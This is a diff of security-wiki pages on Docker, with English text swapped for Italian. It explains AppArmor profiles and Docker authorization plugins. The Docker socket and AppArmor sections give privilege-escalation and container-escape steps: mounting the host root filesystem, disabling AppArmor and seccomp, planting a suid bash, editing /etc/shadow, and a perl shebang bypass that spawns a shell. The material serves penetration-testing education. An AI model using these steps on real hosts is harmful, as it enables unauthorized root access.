- **Non mettere ssh** all'interno del container, “docker exec” può essere utilizzato per ssh nel Container.
- Avere **immagini di container più piccole**
## Docker Breakout / Privilege Escalation
If you are **inside a docker container** or you have access to a user in the **docker group**, you could try to **escape and escalate privileges**:
Se sei **all'interno di un container docker** o hai accesso a un utente nel **gruppo docker**, potresti provare a **fuggire e aumentare i privilegi**:
{{#ref}}
docker-breakout-privilege-escalation/
{{#endref}}
## Docker Authentication Plugin Bypass
## Bypass del Plugin di Autenticazione Docker
If you have access to the docker socket or have access to a user in the **docker group but your actions are being limited by a docker auth plugin**, check if you can **bypass it:**
Se hai accesso al socket docker o hai accesso a un utente nel **gruppo docker ma le tue azioni sono limitate da un plugin di autenticazione docker**, controlla se puoi **bypassarlo:**
{{#ref}}
authz-and-authn-docker-access-authorization-plugin.md
@ -402,10 +354,10 @@ authz-and-authn-docker-access-authorization-plugin.md
## Hardening Docker
- The tool [**docker-bench-security**](https://github.com/docker/docker-bench-security) is a script that checks for dozens of common best-practices around deploying Docker containers in production. The tests are all automated, and are based on the [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
You need to run the tool from the host running docker or from a container with enough privileges. Find out **how to run it in the README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
- Lo strumento [**docker-bench-security**](https://github.com/docker/docker-bench-security) è uno script che controlla dozzine di best practices comuni per il deployment di container Docker in produzione. I test sono tutti automatizzati e si basano sul [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
Devi eseguire lo strumento dall'host che esegue docker o da un container con privilegi sufficienti. Scopri **come eseguirlo nel README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
## References
## Riferimenti
- [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
- [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/_fel1x/status/1151487051986087936)
@ -421,12 +373,5 @@ authz-and-authn-docker-access-authorization-plugin.md
- [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
- [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
<figure><img src="../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,43 +1,43 @@
# Abusing Docker Socket for Privilege Escalation
# Abusare del Docker Socket per l'Escalation dei Privilegi
{{#include ../../../banners/hacktricks-training.md}}
There are some occasions were you just have **access to the docker socket** and you want to use it to **escalate privileges**. Some actions might be very suspicious and you may want to avoid them, so here you can find different flags that can be useful to escalate privileges:
Ci sono alcune occasioni in cui hai **accesso al docker socket** e vuoi usarlo per **escalare i privilegi**. Alcune azioni potrebbero essere molto sospette e potresti voler evitarle, quindi qui puoi trovare diversi flag che possono essere utili per escalare i privilegi:
### Via mount
You can **mount** different parts of the **filesystem** in a container running as root and **access** them.\
You could also **abuse a mount to escalate privileges** inside the container.
Puoi **montare** diverse parti del **filesystem** in un container in esecuzione come root e **accedervi**.\
Potresti anche **abusare di un mount per escalare i privilegi** all'interno del container.
- **`-v /:/host`** -> Mount the host filesystem in the container so you can **read the host filesystem.**
- If you want to **feel like you are in the host** but being on the container you could disable other defense mechanisms using flags like:
- `--privileged`
- `--cap-add=ALL`
- `--security-opt apparmor=unconfined`
- `--security-opt seccomp=unconfined`
- `-security-opt label:disable`
- `--pid=host`
- `--userns=host`
- `--uts=host`
- `--cgroupns=host`
- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> This is similar to the previous method, but here we are **mounting the device disk**. Then, inside the container run `mount /dev/sda1 /mnt` and you can **access** the **host filesystem** in `/mnt`
- Run `fdisk -l` in the host to find the `</dev/sda1>` device to mount
- **`-v /tmp:/host`** -> If for some reason you can **just mount some directory** from the host and you have access inside the host. Mount it and create a **`/bin/bash`** with **suid** in the mounted directory so you can **execute it from the host and escalate to root**.
- **`-v /:/host`** -> Monta il filesystem dell'host nel container in modo da poter **leggere il filesystem dell'host.**
- Se vuoi **sentirti come se fossi nell'host** ma essere nel container, potresti disabilitare altri meccanismi di difesa usando flag come:
- `--privileged`
- `--cap-add=ALL`
- `--security-opt apparmor=unconfined`
- `--security-opt seccomp=unconfined`
- `-security-opt label:disable`
- `--pid=host`
- `--userns=host`
- `--uts=host`
- `--cgroupns=host`
- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Questo è simile al metodo precedente, ma qui stiamo **montando il disco del dispositivo**. Poi, all'interno del container esegui `mount /dev/sda1 /mnt` e puoi **accedere** al **filesystem dell'host** in `/mnt`
- Esegui `fdisk -l` nell'host per trovare il dispositivo `</dev/sda1>` da montare
- **`-v /tmp:/host`** -> Se per qualche motivo puoi **solo montare una directory** dall'host e hai accesso all'interno dell'host. Montala e crea un **`/bin/bash`** con **suid** nella directory montata in modo da poter **eseguirlo dall'host e escalare a root**.
> [!NOTE]
> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null`
> Nota che forse non puoi montare la cartella `/tmp` ma puoi montare una **differente cartella scrivibile**. Puoi trovare directory scrivibili usando: `find / -writable -type d 2>/dev/null`
>
> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit.
> **Nota che non tutte le directory in una macchina linux supporteranno il bit suid!** Per controllare quali directory supportano il bit suid esegui `mount | grep -v "nosuid"` Ad esempio, di solito `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` e `/var/lib/lxcfs` non supportano il bit suid.
>
> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`)
> Nota anche che se puoi **montare `/etc`** o qualsiasi altra cartella **contenente file di configurazione**, potresti modificarli dal container docker come root per **abusarli nell'host** e escalare i privilegi (magari modificando `/etc/shadow`)
### Escaping from the container
### Uscire dal container
- **`--privileged`** -> With this flag you [remove all the isolation from the container](docker-privileged.md#what-affects). Check techniques to [escape from privileged containers as root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape).
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> To [escalate abusing capabilities](../linux-capabilities.md), **grant that capability to the container** and disable other protection methods that may prevent the exploit to work.
- **`--privileged`** -> Con questo flag [rimuovi tutta l'isolamento dal container](docker-privileged.md#what-affects). Controlla le tecniche per [uscire da container privilegiati come root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape).
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Per [escalare abusando delle capacità](../linux-capabilities.md), **concedi quella capacità al container** e disabilita altri metodi di protezione che potrebbero impedire il funzionamento dell'exploit.
### Curl
In this page we have discussed ways to escalate privileges using docker flags, you can find **ways to abuse these methods using curl** command in the page:
In questa pagina abbiamo discusso modi per escalare i privilegi usando flag docker, puoi trovare **modi per abusare di questi metodi usando il comando curl** nella pagina:
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,31 +2,30 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informazioni di base
AppArmor is a **kernel enhancement designed to restrict the resources available to programs through per-program profiles**, effectively implementing Mandatory Access Control (MAC) by tying access control attributes directly to programs instead of users. This system operates by **loading profiles into the kernel**, usually during boot, and these profiles dictate what resources a program can access, such as network connections, raw socket access, and file permissions.
AppArmor è un **miglioramento del kernel progettato per limitare le risorse disponibili ai programmi attraverso profili per programma**, implementando efficacemente il Controllo di Accesso Obbligatorio (MAC) legando gli attributi di controllo accesso direttamente ai programmi invece che agli utenti. Questo sistema opera **caricando profili nel kernel**, di solito durante l'avvio, e questi profili determinano quali risorse un programma può accedere, come connessioni di rete, accesso a socket raw e permessi di file.
There are two operational modes for AppArmor profiles:
Ci sono due modalità operative per i profili di AppArmor:
- **Enforcement Mode**: This mode actively enforces the policies defined within the profile, blocking actions that violate these policies and logging any attempts to breach them through systems like syslog or auditd.
- **Complain Mode**: Unlike enforcement mode, complain mode does not block actions that go against the profile's policies. Instead, it logs these attempts as policy violations without enforcing restrictions.
- **Modalità di applicazione**: Questa modalità applica attivamente le politiche definite all'interno del profilo, bloccando le azioni che violano queste politiche e registrando eventuali tentativi di violazione attraverso sistemi come syslog o auditd.
- **Modalità di segnalazione**: A differenza della modalità di applicazione, la modalità di segnalazione non blocca le azioni che vanno contro le politiche del profilo. Invece, registra questi tentativi come violazioni delle politiche senza applicare restrizioni.
### Components of AppArmor
### Componenti di AppArmor
- **Kernel Module**: Responsible for the enforcement of policies.
- **Policies**: Specify the rules and restrictions for program behavior and resource access.
- **Parser**: Loads policies into the kernel for enforcement or reporting.
- **Utilities**: These are user-mode programs that provide an interface for interacting with and managing AppArmor.
- **Modulo del kernel**: Responsabile dell'applicazione delle politiche.
- **Politiche**: Specificano le regole e le restrizioni per il comportamento dei programmi e l'accesso alle risorse.
- **Parser**: Carica le politiche nel kernel per l'applicazione o la segnalazione.
- **Utilità**: Questi sono programmi in modalità utente che forniscono un'interfaccia per interagire e gestire AppArmor.
### Profiles path
### Percorso dei profili
Apparmor profiles are usually saved in _**/etc/apparmor.d/**_\
With `sudo aa-status` you will be able to list the binaries that are restricted by some profile. If you can change the char "/" for a dot of the path of each listed binary and you will obtain the name of the apparmor profile inside the mentioned folder.
I profili di AppArmor sono solitamente salvati in _**/etc/apparmor.d/**_\
Con `sudo aa-status` sarai in grado di elencare i binari che sono limitati da qualche profilo. Se puoi cambiare il carattere "/" con un punto nel percorso di ciascun binario elencato, otterrai il nome del profilo di AppArmor all'interno della cartella menzionata.
For example, a **apparmor** profile for _/usr/bin/man_ will be located in _/etc/apparmor.d/usr.bin.man_
### Commands
Ad esempio, un **profilo di apparmor** per _/usr/bin/man_ si troverà in _/etc/apparmor.d/usr.bin.man_
### Comandi
```bash
aa-status #check the current status
aa-enforce #set profile to enforce mode (from disable or complain)
@ -36,47 +35,41 @@ aa-genprof #generate a new profile
aa-logprof #used to change the policy when the binary/program is changed
aa-mergeprof #used to merge the policies
```
## Creazione di un profilo
## Creating a profile
- In order to indicate the affected executable, **absolute paths and wildcards** are allowed (for file globbing) for specifying files.
- To indicate the access the binary will have over **files** the following **access controls** can be used:
- **r** (read)
- **w** (write)
- **m** (memory map as executable)
- **k** (file locking)
- **l** (creation hard links)
- **ix** (to execute another program with the new program inheriting policy)
- **Px** (execute under another profile, after cleaning the environment)
- **Cx** (execute under a child profile, after cleaning the environment)
- **Ux** (execute unconfined, after cleaning the environment)
- **Variables** can be defined in the profiles and can be manipulated from outside the profile. For example: @{PROC} and @{HOME} (add #include \<tunables/global> to the profile file)
- **Deny rules are supported to override allow rules**.
- Per indicare l'eseguibile interessato, **i percorsi assoluti e i caratteri jolly** sono consentiti (per il file globbing) per specificare i file.
- Per indicare l'accesso che il binario avrà su **file** possono essere utilizzati i seguenti **controlli di accesso**:
- **r** (lettura)
- **w** (scrittura)
- **m** (mappatura della memoria come eseguibile)
- **k** (blocco del file)
- **l** (creazione di hard link)
- **ix** (eseguire un altro programma con la nuova politica ereditata)
- **Px** (eseguire sotto un altro profilo, dopo aver ripulito l'ambiente)
- **Cx** (eseguire sotto un profilo figlio, dopo aver ripulito l'ambiente)
- **Ux** (eseguire senza restrizioni, dopo aver ripulito l'ambiente)
- **Le variabili** possono essere definite nei profili e possono essere manipolate dall'esterno del profilo. Ad esempio: @{PROC} e @{HOME} (aggiungere #include \<tunables/global> al file del profilo)
- **Le regole di negazione sono supportate per sovrascrivere le regole di autorizzazione**.
### aa-genprof
To easily start creating a profile apparmor can help you. It's possible to make **apparmor inspect the actions performed by a binary and then let you decide which actions you want to allow or deny**.\
You just need to run:
Per iniziare facilmente a creare un profilo, apparmor può aiutarti. È possibile fare in modo che **apparmor ispezioni le azioni eseguite da un binario e poi ti consenta di decidere quali azioni vuoi consentire o negare**.\
Devi solo eseguire:
```bash
sudo aa-genprof /path/to/binary
```
Then, in a different console perform all the actions that the binary will usually perform:
Quindi, in una console diversa, esegui tutte le azioni che il binario eseguirà di solito:
```bash
/path/to/binary -a dosomething
```
Then, in the first console press "**s**" and then in the recorded actions indicate if you want to ignore, allow, or whatever. When you have finished press "**f**" and the new profile will be created in _/etc/apparmor.d/path.to.binary_
Poi, nella prima console premi "**s**" e poi nelle azioni registrate indica se vuoi ignorare, consentire o altro. Quando hai finito premi "**f**" e il nuovo profilo sarà creato in _/etc/apparmor.d/path.to.binary_
> [!NOTE]
> Using the arrow keys you can select what you want to allow/deny/whatever
> Usando i tasti freccia puoi selezionare cosa vuoi consentire/negare/altro
### aa-easyprof
You can also create a template of an apparmor profile of a binary with:
Puoi anche creare un modello di un profilo apparmor di un binario con:
```bash
sudo aa-easyprof /path/to/binary
# vim:syntax=apparmor
@ -90,40 +83,34 @@ sudo aa-easyprof /path/to/binary
# No template variables specified
"/path/to/binary" {
#include <abstractions/base>
#include <abstractions/base>
# No abstractions specified
# No abstractions specified
# No policy groups specified
# No policy groups specified
# No read paths specified
# No read paths specified
# No write paths specified
# No write paths specified
}
```
> [!NOTE]
> Note that by default in a created profile nothing is allowed, so everything is denied. You will need to add lines like `/etc/passwd r,` to allow the binary read `/etc/passwd` for example.
You can then **enforce** the new profile with
> Nota che per impostazione predefinita in un profilo creato nulla è consentito, quindi tutto è negato. Dovrai aggiungere righe come `/etc/passwd r,` per consentire la lettura del binario `/etc/passwd`, ad esempio.
Puoi quindi **applicare** il nuovo profilo con
```bash
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
```
### Modificare un profilo dai log
### Modifying a profile from logs
The following tool will read the logs and ask the user if he wants to permit some of the detected forbidden actions:
Il seguente strumento leggerà i log e chiederà all'utente se desidera consentire alcune delle azioni vietate rilevate:
```bash
sudo aa-logprof
```
> [!NOTE]
> Using the arrow keys you can select what you want to allow/deny/whatever
### Managing a Profile
> Utilizzando i tasti freccia puoi selezionare cosa vuoi consentire/nnegare/qualunque cosa
### Gestire un Profilo
```bash
#Main profile management commands
apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode
@ -131,18 +118,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
```
## Logs
Example of **AUDIT** and **DENIED** logs from _/var/log/audit/audit.log_ of the executable **`service_bin`**:
Esempio di log **AUDIT** e **DENIED** da _/var/log/audit/audit.log_ dell'eseguibile **`service_bin`**:
```bash
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
```
You can also get this information using:
Puoi anche ottenere queste informazioni utilizzando:
```bash
sudo aa-notify -s 1 -v
Profile: /bin/service_bin
@ -160,126 +143,104 @@ Logfile: /var/log/audit/audit.log
AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021)
For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
```
## Apparmor in Docker
Note how the profile **docker-profile** of docker is loaded by default:
Nota come il profilo **docker-profile** di docker venga caricato per impostazione predefinita:
```bash
sudo aa-status
apparmor module is loaded.
50 profiles are loaded.
13 profiles are in enforce mode.
/sbin/dhclient
/usr/bin/lxc-start
/usr/lib/NetworkManager/nm-dhcp-client.action
/usr/lib/NetworkManager/nm-dhcp-helper
/usr/lib/chromium-browser/chromium-browser//browser_java
/usr/lib/chromium-browser/chromium-browser//browser_openjdk
/usr/lib/chromium-browser/chromium-browser//sanitized_helper
/usr/lib/connman/scripts/dhclient-script
docker-default
/sbin/dhclient
/usr/bin/lxc-start
/usr/lib/NetworkManager/nm-dhcp-client.action
/usr/lib/NetworkManager/nm-dhcp-helper
/usr/lib/chromium-browser/chromium-browser//browser_java
/usr/lib/chromium-browser/chromium-browser//browser_openjdk
/usr/lib/chromium-browser/chromium-browser//sanitized_helper
/usr/lib/connman/scripts/dhclient-script
docker-default
```
Per impostazione predefinita, il **profilo docker-default di Apparmor** è generato da [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
By default **Apparmor docker-default profile** is generated from [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
**Riepilogo del profilo docker-default**:
**docker-default profile Summary**:
- **Access** to all **networking**
- **No capability** is defined (However, some capabilities will come from including basic base rules i.e. #include \<abstractions/base> )
- **Writing** to any **/proc** file is **not allowed**
- Other **subdirectories**/**files** of /**proc** and /**sys** are **denied** read/write/lock/link/execute access
- **Mount** is **not allowed**
- **Ptrace** can only be run on a process that is confined by **same apparmor profile**
Once you **run a docker container** you should see the following output:
- **Accesso** a tutta la **rete**
- **Nessuna capacità** è definita (Tuttavia, alcune capacità verranno incluse dalle regole di base, ad es. #include \<abstractions/base>)
- **Scrittura** su qualsiasi file di **/proc** è **non consentita**
- Altre **sottodirectory**/**file** di /**proc** e /**sys** hanno accesso in lettura/scrittura/blocco/link/esecuzione **negato**
- **Montaggio** è **non consentito**
- **Ptrace** può essere eseguito solo su un processo che è confinato dallo **stesso profilo apparmor**
Una volta che **esegui un container docker**, dovresti vedere il seguente output:
```bash
1 processes are in enforce mode.
docker-default (825)
docker-default (825)
```
Note that **apparmor will even block capabilities privileges** granted to the container by default. For example, it will be able to **block permission to write inside /proc even if the SYS_ADMIN capability is granted** because by default docker apparmor profile denies this access:
Nota che **apparmor bloccherà anche i privilegi delle capacità** concessi al container per impostazione predefinita. Ad esempio, sarà in grado di **bloccare il permesso di scrivere all'interno di /proc anche se la capacità SYS_ADMIN è concessa** perché per impostazione predefinita il profilo apparmor di docker nega questo accesso:
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
echo "" > /proc/stat
sh: 1: cannot create /proc/stat: Permission denied
```
You need to **disable apparmor** to bypass its restrictions:
Devi **disabilitare apparmor** per bypassare le sue restrizioni:
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
```
Nota che per impostazione predefinita **AppArmor** **vietera' al container di montare** cartelle dall'interno anche con la capacità SYS_ADMIN.
Note that by default **AppArmor** will also **forbid the container to mount** folders from the inside even with SYS_ADMIN capability.
Nota che puoi **aggiungere/rimuovere** **capacità** al container docker (questo sarà comunque limitato da metodi di protezione come **AppArmor** e **Seccomp**):
Note that you can **add/remove** **capabilities** to the docker container (this will be still restricted by protection methods like **AppArmor** and **Seccomp**):
- `--cap-add=SYS_ADMIN` give `SYS_ADMIN` cap
- `--cap-add=ALL` give all caps
- `--cap-drop=ALL --cap-add=SYS_PTRACE` drop all caps and only give `SYS_PTRACE`
- `--cap-add=SYS_ADMIN` dà la capacità `SYS_ADMIN`
- `--cap-add=ALL` dà tutte le capacità
- `--cap-drop=ALL --cap-add=SYS_PTRACE` rimuove tutte le capacità e dà solo `SYS_PTRACE`
> [!NOTE]
> Usually, when you **find** that you have a **privileged capability** available **inside** a **docker** container **but** some part of the **exploit isn't working**, this will be because docker **apparmor will be preventing it**.
> Di solito, quando **scopri** di avere una **capacità privilegiata** disponibile **all'interno** di un **container** **docker** **ma** che una parte dell'**exploit non funziona**, questo sarà perché **apparmor di docker lo sta impedendo**.
### Example
### Esempio
(Example from [**here**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
To illustrate AppArmor functionality, I created a new Docker profile “mydocker” with the following line added:
(Esempio da [**qui**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
Per illustrare la funzionalità di AppArmor, ho creato un nuovo profilo Docker “mydocker” con la seguente riga aggiunta:
```
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
```
To activate the profile, we need to do the following:
Per attivare il profilo, dobbiamo fare quanto segue:
```
sudo apparmor_parser -r -W mydocker
```
To list the profiles, we can do the following command. The command below is listing my new AppArmor profile.
Per elencare i profili, possiamo eseguire il seguente comando. Il comando qui sotto sta elencando il mio nuovo profilo AppArmor.
```
$ sudo apparmor_status | grep mydocker
mydocker
mydocker
```
As shown below, we get error when trying to change “/etc/” since AppArmor profile is preventing write access to “/etc”.
Come mostrato di seguito, otteniamo un errore quando cerchiamo di modificare “/etc/” poiché il profilo AppArmor impedisce l'accesso in scrittura a “/etc”.
```
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
chmod: /etc/hostname: Permission denied
```
### AppArmor Docker Bypass1
You can find which **apparmor profile is running a container** using:
Puoi scoprire quale **profilo apparmor sta eseguendo un container** usando:
```bash
docker inspect 9d622d73a614 | grep lowpriv
"AppArmorProfile": "lowpriv",
"apparmor=lowpriv"
"AppArmorProfile": "lowpriv",
"apparmor=lowpriv"
```
Then, you can run the following line to **find the exact profile being used**:
Poi, puoi eseguire la seguente riga per **trovare il profilo esatto in uso**:
```bash
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
```
In the weird case you can **modify the apparmor docker profile and reload it.** You could remove the restrictions and "bypass" them.
In un caso strano puoi **modificare il profilo docker di apparmor e ricaricarlo.** Potresti rimuovere le restrizioni e "bypassarle".
### AppArmor Docker Bypass2
**AppArmor is path based**, this means that even if it might be **protecting** files inside a directory like **`/proc`** if you can **configure how the container is going to be run**, you could **mount** the proc directory of the host inside **`/host/proc`** and it **won't be protected by AppArmor anymore**.
**AppArmor è basato sui percorsi**, questo significa che anche se potrebbe essere **protetto** file all'interno di una directory come **`/proc`**, se puoi **configurare come il container verrà eseguito**, potresti **montare** la directory proc dell'host all'interno di **`/host/proc`** e non **sarà più protetta da AppArmor**.
### AppArmor Shebang Bypass
In [**this bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) you can see an example of how **even if you are preventing perl to be run with certain resources**, if you just create a a shell script **specifying** in the first line **`#!/usr/bin/perl`** and you **execute the file directly**, you will be able to execute whatever you want. E.g.:
In [**questo bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) puoi vedere un esempio di come **anche se stai impedendo l'esecuzione di perl con determinate risorse**, se crei semplicemente uno script shell **specificando** nella prima riga **`#!/usr/bin/perl`** e **esegui il file direttamente**, sarai in grado di eseguire qualsiasi cosa tu voglia. E.g.:
```perl
echo '#!/usr/bin/perl
use POSIX qw(strftime);
@ -289,5 +250,4 @@ exec "/bin/sh"' > /tmp/test.pl
chmod +x /tmp/test.pl
/tmp/test.pl
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,75 +1,70 @@
{{#include ../../../banners/hacktricks-training.md}}
**Dockers** out-of-the-box **authorization** model is **all or nothing**. Any user with permission to access the Docker daemon can **run any** Docker client **command**. The same is true for callers using Dockers Engine API to contact the daemon. If you require **greater access control**, you can create **authorization plugins** and add them to your Docker daemon configuration. Using an authorization plugin, a Docker administrator can **configure granular access** policies for managing access to the Docker daemon.
Il modello di **autorizzazione** di **Docker** è **tutto o niente**. Qualsiasi utente con permesso di accedere al demone Docker può **eseguire qualsiasi** comando del client Docker. Lo stesso vale per i chiamanti che utilizzano l'API Engine di Docker per contattare il demone. Se hai bisogno di **maggiore controllo degli accessi**, puoi creare **plugin di autorizzazione** e aggiungerli alla configurazione del demone Docker. Utilizzando un plugin di autorizzazione, un amministratore Docker può **configurare politiche di accesso granulari** per gestire l'accesso al demone Docker.
# Basic architecture
# Architettura di base
Docker Auth plugins are **external** **plugins** you can use to **allow/deny** **actions** requested to the Docker Daemon **depending** on the **user** that requested it and the **action** **requested**.
I plugin di autorizzazione Docker sono **plugin esterni** che puoi utilizzare per **consentire/nnegare** **azioni** richieste al demone Docker **a seconda** dell'**utente** che le ha richieste e dell'**azione** **richiesta**.
**[The following info is from the docs](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
**[Le seguenti informazioni provengono dalla documentazione](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
When an **HTTP** **request** is made to the Docker **daemon** through the CLI or via the Engine API, the **authentication** **subsystem** **passes** the request to the installed **authentication** **plugin**(s). The request contains the user (caller) and command context. The **plugin** is responsible for deciding whether to **allow** or **deny** the request.
Quando viene effettuata una **richiesta HTTP** al **demone** Docker tramite la CLI o tramite l'API Engine, il **sottosistema di autenticazione** **trasmette** la richiesta ai **plugin di autenticazione** installati. La richiesta contiene l'utente (chiamante) e il contesto del comando. Il **plugin** è responsabile della decisione di **consentire** o **negare** la richiesta.
The sequence diagrams below depict an allow and deny authorization flow:
I diagrammi di sequenza qui sotto mostrano un flusso di autorizzazione di consentire e negare:
![Authorization Allow flow](https://docs.docker.com/engine/extend/images/authz_allow.png)
![Flusso di autorizzazione consentito](https://docs.docker.com/engine/extend/images/authz_allow.png)
![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz_deny.png)
![Flusso di autorizzazione negato](https://docs.docker.com/engine/extend/images/authz_deny.png)
Each request sent to the plugin **includes the authenticated user, the HTTP headers, and the request/response body**. Only the **user name** and the **authentication method** used are passed to the plugin. Most importantly, **no** user **credentials** or tokens are passed. Finally, **not all request/response bodies are sent** to the authorization plugin. Only those request/response bodies where the `Content-Type` is either `text/*` or `application/json` are sent.
Ogni richiesta inviata al plugin **include l'utente autenticato, le intestazioni HTTP e il corpo della richiesta/risposta**. Solo il **nome utente** e il **metodo di autenticazione** utilizzato vengono passati al plugin. È importante notare che **nessuna** credenziale o token dell'utente vengono passati. Infine, **non tutti i corpi di richiesta/risposta vengono inviati** al plugin di autorizzazione. Solo quelli in cui il `Content-Type` è `text/*` o `application/json` vengono inviati.
For commands that can potentially hijack the HTTP connection (`HTTP Upgrade`), such as `exec`, the authorization plugin is only called for the initial HTTP requests. Once the plugin approves the command, authorization is not applied to the rest of the flow. Specifically, the streaming data is not passed to the authorization plugins. For commands that return chunked HTTP response, such as `logs` and `events`, only the HTTP request is sent to the authorization plugins.
Per i comandi che possono potenzialmente dirottare la connessione HTTP (`HTTP Upgrade`), come `exec`, il plugin di autorizzazione viene chiamato solo per le richieste HTTP iniziali. Una volta che il plugin approva il comando, l'autorizzazione non viene applicata al resto del flusso. In particolare, i dati in streaming non vengono passati ai plugin di autorizzazione. Per i comandi che restituiscono risposte HTTP a chunk, come `logs` ed `events`, solo la richiesta HTTP viene inviata ai plugin di autorizzazione.
During request/response processing, some authorization flows might need to do additional queries to the Docker daemon. To complete such flows, plugins can call the daemon API similar to a regular user. To enable these additional queries, the plugin must provide the means for an administrator to configure proper authentication and security policies.
Durante l'elaborazione della richiesta/risposta, alcuni flussi di autorizzazione potrebbero aver bisogno di eseguire query aggiuntive al demone Docker. Per completare tali flussi, i plugin possono chiamare l'API del demone come un utente normale. Per abilitare queste query aggiuntive, il plugin deve fornire i mezzi affinché un amministratore configuri politiche di autenticazione e sicurezza appropriate.
## Several Plugins
## Diversi Plugin
You are responsible for **registering** your **plugin** as part of the Docker daemon **startup**. You can install **multiple plugins and chain them together**. This chain can be ordered. Each request to the daemon passes in order through the chain. Only when **all the plugins grant access** to the resource, is the access granted.
Sei responsabile della **registrazione** del tuo **plugin** come parte dell'**avvio** del demone Docker. Puoi installare **più plugin e concatenarli**. Questa catena può essere ordinata. Ogni richiesta al demone passa in ordine attraverso la catena. Solo quando **tutti i plugin concedono accesso** alla risorsa, l'accesso viene concesso.
# Plugin Examples
# Esempi di Plugin
## Twistlock AuthZ Broker
The plugin [**authz**](https://github.com/twistlock/authz) allows you to create a simple **JSON** file that the **plugin** will be **reading** to authorize the requests. Therefore, it gives you the opportunity to control very easily which API endpoints can reach each user.
Il plugin [**authz**](https://github.com/twistlock/authz) ti consente di creare un semplice file **JSON** che il **plugin** leggerà per autorizzare le richieste. Pertanto, ti offre l'opportunità di controllare molto facilmente quali endpoint API possono raggiungere ciascun utente.
This is an example that will allow Alice and Bob can create new containers: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
Questo è un esempio che permetterà ad Alice e Bob di creare nuovi contenitori: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
In the page [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) you can find the relation between the requested URL and the action. In the page [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) you can find the relation between the action name and the action
Nella pagina [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) puoi trovare la relazione tra l'URL richiesto e l'azione. Nella pagina [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) puoi trovare la relazione tra il nome dell'azione e l'azione.
## Simple Plugin Tutorial
## Tutorial Plugin Semplice
